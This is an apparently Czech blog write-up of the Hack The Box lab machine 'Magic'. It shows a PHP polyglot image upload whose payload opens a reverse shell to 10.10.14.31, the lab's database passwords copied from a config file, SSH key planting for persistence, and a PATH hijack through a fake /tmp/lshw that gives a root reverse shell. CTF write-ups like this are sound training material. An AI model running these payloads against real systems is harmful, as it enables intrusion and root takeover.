tom@home.htb:~$

Blog o HTB

15 December 2020

Magic

Úvod a kontext

Magic stojí na trojici velmi konkrétních selhání. Upload přijme obrázek s vloženým PHP kódem, db.php5 a tabulka login vydají kombinaci hesel pro účet theseus, a root nakonec padne na SUID binárce /bin/sysinfo, která volá lshw bez absolutní cesty.

V každé fázi jde o jiný typ problému. Web dává www-data, lokální tajemství dají theseus a až PATH hijack přes vlastní /tmp/lshw zavře poslední krok. Prakticky tak Magic propojuje tři samostatné vzorce, které rozebírám i v článcích Nebezpečné uploady: polygloty, WAR deploy a plugin upload, Password reuse a rozpad hranic mezi aplikací, SSH, WinRM a admin nástroji a PATH, PYTHONPATH a wrapper hijack.

Počáteční průzkum

Apache a upload za loginem

Venku jsou jen dvě služby: SSH a Apache. To samo o sobě znamená, že první foothold bude téměř jistě přes web. Dirsearch navíc rychle ukáže upload.php, který přesměrovává na login.php, takže je zřejmé, že aplikace umí nahrávat soubory a zároveň za nimi drží nějakou jednoduchou autentizaci.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
./dirsearch/dirsearch.py -u http://$IP -e php -x 403 -r
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

=> [13:24:13] 302 -    3KB - /upload.php  ->  login.php

Analýza zjištění

Polyglot upload s dvojitou příponou

Upload kontroluje soubor jen povrchně. Stačí tedy vzít validní JPG, vložit PHP payload do EXIF komentáře a poslat ho pod jménem image2.php.jpg s Content-Type: image/jpeg. Aplikace ho uloží pod webroot a Apache pak při požadavku na nahraný soubor zpracuje i vložený PHP kód. Je to přesně ten typ polyglot uploadu, který rozebírám i v článku Nebezpečné uploady: polygloty, WAR deploy a plugin upload.

exiftool -Comment='<?php system("/bin/bash -c \"bash -i >& /dev/tcp/10.10.14.31/4000 0>&1\""); ?>' 3.jpg
curl --form "image=@3.jpg;filename=image2.php.jpg;type=image/jpeg" --form "submit=Upload%20Image" http://$IP/upload.php
netcat -lvp 4000
http://10.10.10.185/images/uploads/image2.php.jpg

Získání přístupu

Z www-data na theseus

Webový shell běží jako nízko privilegovaný uživatel, takže další cíl je najít lokální tajemství. Konfigurace db.php5 obsahuje databázový účet theseus a z tabulky login vypadne heslo Th3s3usW4sK1ng. Právě kombinace těchto dvou artefaktů vede k účtu theseus.

cat db.php5
=> private static $dbUsername = 'theseus';
=> private static $dbUserPassword = 'iamkingtheseus';

SELECT * FROM login;
=> stdClass Object ( [id] => 1 [username] => admin [password] => Th3s3usW4sK1ng )

Jakmile funguje su theseus, vyplatí se přidat vlastní SSH klíč a přepnout se na stabilní přístup přes SSH.

su theseus
mkdir -p ~/.ssh && chmod 700 ~/.ssh && touch ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys && echo "ssh-rsa __CENSORED__== hack@t" >> ~/.ssh/authorized_keys
ssh theseus@$IP
cat user.txt
__CENSORED__

Eskalace oprávnění

/bin/sysinfo a hijack přes PATH

Na účtu theseus už lokální enumerace ukáže root-owned binárku /bin/sysinfo, kterou může spouštět skupina users. pspy napoví, že program používá externí nástroj lshw bez absolutní cesty. To stačí na klasický PATH hijack: do /tmp se připraví vlastní lshw, upraví se PATH a sysinfo pak spustí útočníkův skript jako root.

ls -l /bin/sysinfo
=> -rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo

export PATH=/tmp:$PATH
echo '/bin/bash -c "bash -i >& /dev/tcp/10.10.14.31/4001 0>&1"' > /tmp/lshw
chmod +x /tmp/lshw
/bin/sysinfo

Po získání root shellu už stačí dočíst root.txt.

cat root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: linux - ssh - php - exploit - enumeration - privesc